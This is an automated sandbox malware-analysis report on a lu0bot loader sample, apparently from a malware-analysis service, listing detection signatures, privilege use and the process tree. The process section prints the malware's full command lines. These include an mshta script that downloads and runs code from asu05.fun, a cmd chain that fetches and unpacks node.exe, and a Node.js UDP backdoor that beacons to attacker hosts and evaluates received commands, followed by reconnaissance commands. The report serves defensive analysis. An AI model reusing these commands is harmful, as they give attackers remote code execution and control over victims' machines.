Overview
overview
10Static
static
eufive_202...1).exe
windows7_x64
1eufive_202...1).exe
windows10_x64
1eufive_202...1).exe
windows7_x64
10eufive_202...1).exe
windows10_x64
10eufive_202...41.exe
windows7_x64
10eufive_202...41.exe
windows10_x64
10mixazed_20...1).exe
windows7_x64
8mixazed_20...1).exe
windows10_x64
8mixazed_20...1).exe
windows7_x64
8mixazed_20...1).exe
windows10_x64
8mixazed_20...1).exe
windows7_x64
8mixazed_20...1).exe
windows10_x64
8mixsix_202...1).exe
windows7_x64
8mixsix_202...1).exe
windows10_x64
8usfive_202...1).exe
windows7_x64
10usfive_202...1).exe
windows10_x64
10Analysis
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max time kernel
150s -
max time network
149s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
27-07-2021 21:27
Static task
static1
Behavioral task
behavioral1
Sample
eufive_20210727-123655(1).exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
eufive_20210727-123655(1).exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral3
Sample
eufive_20210727-125230(1).exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral4
Sample
eufive_20210727-125230(1).exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral5
Sample
eufive_20210727-174641.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral6
Sample
eufive_20210727-174641.exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral7
Sample
mixazed_20210727-123659(1).exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral8
Sample
mixazed_20210727-123659(1).exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral9
Sample
mixazed_20210727-132631(1).exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral10
Sample
mixazed_20210727-132631(1).exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral11
Sample
mixazed_20210727-134206(1).exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral12
Sample
mixazed_20210727-134206(1).exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral13
Sample
mixsix_20210727-190432(1).exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral14
Sample
mixsix_20210727-190432(1).exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral15
Sample
usfive_20210727-123716(1).exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
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Target
eufive_20210727-174641.exe
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Size
3KB
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MD5
13e7feb9430554945b5aa4f6b5524d66
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SHA1
3d644cfe881c9c5e80f94f0173dc3fa3169e145b
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SHA256
bf44cfa6534d38b172ea611502230f1978f26a28cb1b510ed1c2cd6bd15f007f
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SHA512
271912df0b8a74a9081a1c3457ac4290c19cd88ade2d42a48683d187aea9391c3fa6505154dcfa15358c3ca273c2203548c3d579dad0b4d063fd91d72bf4cc08
Malware Config
Signatures
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suricata: ET MALWARE lu0bot Loader HTTP Request
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suricata: ET MALWARE lu0bot Loader HTTP Response
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Blocklisted process makes network request 2 IoCs
flow pid Process 8 576 mshta.exe 10 4012 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 3720 node.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 3440 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 4012 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 3404 netstat.exe 3604 ipconfig.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3376 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\f0ab0c9dc9bc3280:ads node.exe File created C:\ProgramData\DNTException\node.exe:0d6f14fb8803ddef47615bf0a1deb3b6 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 8 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 10 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3720 node.exe 3720 node.exe 3720 node.exe 3720 node.exe -
Suspicious use of AdjustPrivilegeToken 44 IoCs
description pid Process Token: SeDebugPrivilege 4012 tasklist.exe Token: SeIncreaseQuotaPrivilege 3120 wmic.exe Token: SeSecurityPrivilege 3120 wmic.exe Token: SeTakeOwnershipPrivilege 3120 wmic.exe Token: SeLoadDriverPrivilege 3120 wmic.exe Token: SeSystemProfilePrivilege 3120 wmic.exe Token: SeSystemtimePrivilege 3120 wmic.exe Token: SeProfSingleProcessPrivilege 3120 wmic.exe Token: SeIncBasePriorityPrivilege 3120 wmic.exe Token: SeCreatePagefilePrivilege 3120 wmic.exe Token: SeBackupPrivilege 3120 wmic.exe Token: SeRestorePrivilege 3120 wmic.exe Token: SeShutdownPrivilege 3120 wmic.exe Token: SeDebugPrivilege 3120 wmic.exe Token: SeSystemEnvironmentPrivilege 3120 wmic.exe Token: SeRemoteShutdownPrivilege 3120 wmic.exe Token: SeUndockPrivilege 3120 wmic.exe Token: SeManageVolumePrivilege 3120 wmic.exe Token: 33 3120 wmic.exe Token: 34 3120 wmic.exe Token: 35 3120 wmic.exe Token: 36 3120 wmic.exe Token: SeIncreaseQuotaPrivilege 3120 wmic.exe Token: SeSecurityPrivilege 3120 wmic.exe Token: SeTakeOwnershipPrivilege 3120 wmic.exe Token: SeLoadDriverPrivilege 3120 wmic.exe Token: SeSystemProfilePrivilege 3120 wmic.exe Token: SeSystemtimePrivilege 3120 wmic.exe Token: SeProfSingleProcessPrivilege 3120 wmic.exe Token: SeIncBasePriorityPrivilege 3120 wmic.exe Token: SeCreatePagefilePrivilege 3120 wmic.exe Token: SeBackupPrivilege 3120 wmic.exe Token: SeRestorePrivilege 3120 wmic.exe Token: SeShutdownPrivilege 3120 wmic.exe Token: SeDebugPrivilege 3120 wmic.exe Token: SeSystemEnvironmentPrivilege 3120 wmic.exe Token: SeRemoteShutdownPrivilege 3120 wmic.exe Token: SeUndockPrivilege 3120 wmic.exe Token: SeManageVolumePrivilege 3120 wmic.exe Token: 33 3120 wmic.exe Token: 34 3120 wmic.exe Token: 35 3120 wmic.exe Token: 36 3120 wmic.exe Token: SeDebugPrivilege 3404 netstat.exe -
Suspicious use of WriteProcessMemory 51 IoCs
description pid Process procid_target PID 3152 wrote to memory of 576 3152 eufive_20210727-174641.exe 73 PID 3152 wrote to memory of 576 3152 eufive_20210727-174641.exe 73 PID 3152 wrote to memory of 576 3152 eufive_20210727-174641.exe 73 PID 576 wrote to memory of 2828 576 mshta.exe 77 PID 576 wrote to memory of 2828 576 mshta.exe 77 PID 576 wrote to memory of 2828 576 mshta.exe 77 PID 2828 wrote to memory of 4012 2828 cmd.exe 79 PID 2828 wrote to memory of 4012 2828 cmd.exe 79 PID 2828 wrote to memory of 4012 2828 cmd.exe 79 PID 2828 wrote to memory of 2368 2828 cmd.exe 80 PID 2828 wrote to memory of 2368 2828 cmd.exe 80 PID 2828 wrote to memory of 2368 2828 cmd.exe 80 PID 2828 wrote to memory of 2848 2828 cmd.exe 81 PID 2828 wrote to memory of 2848 2828 cmd.exe 81 PID 2828 wrote to memory of 2848 2828 cmd.exe 81 PID 2848 wrote to memory of 3720 2848 cscript.exe 82 PID 2848 wrote to memory of 3720 2848 cscript.exe 82 PID 2848 wrote to memory of 3720 2848 cscript.exe 82 PID 3720 wrote to memory of 640 3720 node.exe 86 PID 3720 wrote to memory of 640 3720 node.exe 86 PID 3720 wrote to memory of 640 3720 node.exe 86 PID 3720 wrote to memory of 2332 3720 node.exe 87 PID 3720 wrote to memory of 2332 3720 node.exe 87 PID 3720 wrote to memory of 2332 3720 node.exe 87 PID 3720 wrote to memory of 3440 3720 node.exe 88 PID 3720 wrote to memory of 3440 3720 node.exe 88 PID 3720 wrote to memory of 3440 3720 node.exe 88 PID 3720 wrote to memory of 2372 3720 node.exe 89 PID 3720 wrote to memory of 2372 3720 node.exe 89 PID 3720 wrote to memory of 2372 3720 node.exe 89 PID 3720 wrote to memory of 4068 3720 node.exe 90 PID 3720 wrote to memory of 4068 3720 node.exe 90 PID 3720 wrote to memory of 4068 3720 node.exe 90 PID 3720 wrote to memory of 4012 3720 node.exe 92 PID 3720 wrote to memory of 4012 3720 node.exe 92 PID 3720 wrote to memory of 4012 3720 node.exe 92 PID 3720 wrote to memory of 3120 3720 node.exe 93 PID 3720 wrote to memory of 3120 3720 node.exe 93 PID 3720 wrote to memory of 3120 3720 node.exe 93 PID 3720 wrote to memory of 3604 3720 node.exe 94 PID 3720 wrote to memory of 3604 3720 node.exe 94 PID 3720 wrote to memory of 3604 3720 node.exe 94 PID 3720 wrote to memory of 2828 3720 node.exe 95 PID 3720 wrote to memory of 2828 3720 node.exe 95 PID 3720 wrote to memory of 2828 3720 node.exe 95 PID 3720 wrote to memory of 3404 3720 node.exe 96 PID 3720 wrote to memory of 3404 3720 node.exe 96 PID 3720 wrote to memory of 3404 3720 node.exe 96 PID 3720 wrote to memory of 3376 3720 node.exe 97 PID 3720 wrote to memory of 3376 3720 node.exe 97 PID 3720 wrote to memory of 3376 3720 node.exe 97 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 2372 attrib.exe 4068 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\eufive_20210727-174641.exe"C:\Users\Admin\AppData\Local\Temp\eufive_20210727-174641.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3152 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();51;y=unescape('%325%33%7E%68t%74p%3A%2F%2Fa%73u%305%2Ef%75n%2Fh%72i%2F%3F%32f%652%652%62%7E%317%39').split('~');205;try{x='WinHttp';82;x=new ActiveXObject(x+'.'+x+'Request.5.1');175;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);222;x.send();105;y='ipt.S';173;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);253;}catch(e){};202;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:576 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1627421298141.txt & cscript /nologo /e:jscript get1627421298141.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F27b9716c2%26b%3Da41b199e" node.cab & expand node.cab node.exe & del get1627421298141.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1627421298141.txt & cscript /nologo /e:jscript get1627421298141.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%277b9716c2%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1627421298141.txt3⤵
- Suspicious use of WriteProcessMemory
PID:2828 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1627421298141.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F27b9716c2%26b%3Da41b199e" node.cab4⤵
- Blocklisted process makes network request
PID:4012
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:2368
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1627421298141.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%277b9716c2%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%277b9716c2%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3720 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:640
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:2332
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:3440
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:2372
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:4068
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4012
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:3120
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:3604
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:2828
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:3404
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:3376
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